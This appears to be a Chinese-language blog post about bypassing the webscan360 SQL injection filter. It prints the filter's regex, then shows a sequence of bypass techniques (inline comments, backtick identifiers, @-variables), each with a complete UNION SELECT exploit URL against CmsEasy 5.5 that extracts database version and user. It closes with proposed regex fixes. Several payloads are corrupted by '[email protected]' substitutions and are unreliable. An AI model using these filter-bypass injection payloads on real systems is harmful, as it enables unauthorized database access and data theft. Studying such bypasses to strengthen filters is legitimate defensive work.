Webscan360的防禦與繞過
這兩天給360做了一個webscan360的總結,結果補丁還沒有出來,就被人公佈到了91org上面,既然公開了,那我就做一個總結
首先我們貼上它最新的防禦正則
\<.+javascript:window\[.{1}\\x|<.*=(&#\d+?;?)+?>|<.*(data|src)=data:text\/html.*>|\b(alert\(|confirm\(|expression\(|prompt\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\()|<[a-z]+?\b[^>]*?\bon([a-z]{4,})\s*?=|^\+\/v(8|9)|\b(and|or)\b\s*?([\(\)'"\d]+?=[\(\)'"\d]+?|[\(\)'"a-zA-Z]+?=[\(\)'"a-zA-Z]+?|>|<|\s+?[\w]+?\s+?\bin\b\s*?\(|\blike\b\s+?["'])|\/\*.*\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT@{0,2}(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))|UPDATE@{0,2}(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)|\/\*.*?\*\/|'
首先我們追溯一下:
方開始的時候並沒有這個正規表示式\/\*.*?\*\/|'
所以當時我們可以寫為:
union select/**/1,2,3
這裡我們用cmseasy舉例子
我們傳送url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1
這時候我們是完全可以取出來敏感資訊,成功繞過:
第二次被修補之後加上了後面的正規表示式,導致通篇不能寫/**/這樣的字元,但是這樣真的能防禦住嗎:
我們利用mysql的一個特性:
union select`colum`,2,3
這種特性是完全可以執行的
所以我們改變一下思路傳送url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT`typeid`,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1
這樣就成功繞過了:
修補之後:
union select`colum`,2,3
這種被正則 (
|'|").*?(|'|")
這個給過濾了
下載下來之後,發現正規表示式
(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
發現這是後修補了小引號,但是本質問題還是沒有變
在sql中我們還有另外一個特性:
union select@`1`,2,3
這樣也是可以執行,那麼就成功繞過了:
所以我們改變一下思路傳送url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT@`typeid`,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1
此時有打了補丁,這時候正則又變成了
@{0,2}(.+|\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
這個正則的意思修補了剛才的那種型別,但是這個正則真正雞肋的地方在如果不接小引號,那麼這個正則就失效了
所以我們可以在進行變形處理 union [email protected],2,3
這種沒有被過濾,直接可以透過 這種形式的是可以在sql語句裡面執行的,而且不報錯
union [email protected][email protected],2,3
這種也是沒有被過濾,直接可以透過,這種也是可以再mysql完美執行的
傳送url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/ index.php?case=archive&act=orders&aid[[email protected],2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=10
以上就是webscan360的進化,那麼我們來分析一下怎麼去修補這個漏洞
最後我們給出來的正則
@{0,2}(.+|\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
然後進行測試 成功的攔截了 union select型別的 當然了後面的update型別的 和 insert 型別也要進行相應的改進
下來讓我們在看其他地方一個正則
INSERT\s+INTO.+?VALUES
這個是太傳統的寫法 其實根據mysql的寫法 這個會攔截insert into t values(1,2,3)
但是插入操作不止是這樣的寫法 insert into t set a=1
這個是不會被攔截的 所以還得加上一個正則
INSERT\s+INTO.+?(VALUES|SET)
相關文章
- xss原理繞過防禦個人總結2020-07-24
- 關於重複發包的防護與繞過2020-08-19
- AccessibilityService分析與防禦2019-03-04
- WMI 的攻擊,防禦與取證分析技術之防禦篇2020-08-19
- CSRF 攻擊與防禦2019-11-18
- LDAP注入與防禦剖析2020-08-19LDA
- WEB攻擊與防禦2018-03-31Web
- CSRF攻擊與防禦2024-11-01
- CDN防禦與高防伺服器2022-06-16伺服器
- Discuz 6、7 版本存在全域性變數防禦繞過導致程式碼執行漏洞2020-09-28變數
- 前端的安全問題與防禦策略2019-05-12前端
- CSS keylogger:攻擊與防禦2019-01-03CSS
- 幾種通用防注入程式繞過方法2020-08-19
- 淺談DDos攻擊與防禦2018-06-23
- 4、幾種通用防注入程式繞過方法2018-05-18
- 中轉Webshell繞過流量檢測防護2024-03-08Webshell
- 一文帶你瞭解網路安全中的主動防禦與被動防禦!2023-10-16
- AccessibilityService防禦2019-01-04
- DDoS 防禦2018-03-10
- 通過進攻心態進行有效的網路防禦2022-05-11
- 防禦DDoS原理搞明白,防禦效果才能事半功倍2021-04-07
- 三分鐘帶你瞭解網路安全主動防禦與被動防禦!2024-03-06
- 前端防禦XSS2020-08-19前端
- DDOS伺服器防禦的方法有哪些,如何防禦DDOS攻擊2023-05-04伺服器
- js繞過-前端加密繞過2021-08-12JS前端加密
- Waf功能、分類與繞過2020-11-15
- PHP命令執行與繞過2024-08-16PHP
- 生成樹欺騙攻擊與防禦策略2023-09-28
- 【技術向】OPC安全風險與防禦2021-05-13
- 分享DDOS防禦過程中需要了解的技術手段2019-07-11
- C/C++ 踩過的坑和防禦式程式設計2018-04-12C++程式設計
- API安全的防禦建設2019-01-10API
- 高防伺服器主要防禦的攻擊2020-01-18伺服器
- CSS 樣式防禦2018-08-26CSS
- DDoS 攻擊與防禦:從原理到實踐2024-05-16
- 建立ddos防禦體系的方法2018-12-04
- flask中的csrf防禦機制2018-07-17Flask
- DDos防禦體系的構建2018-08-30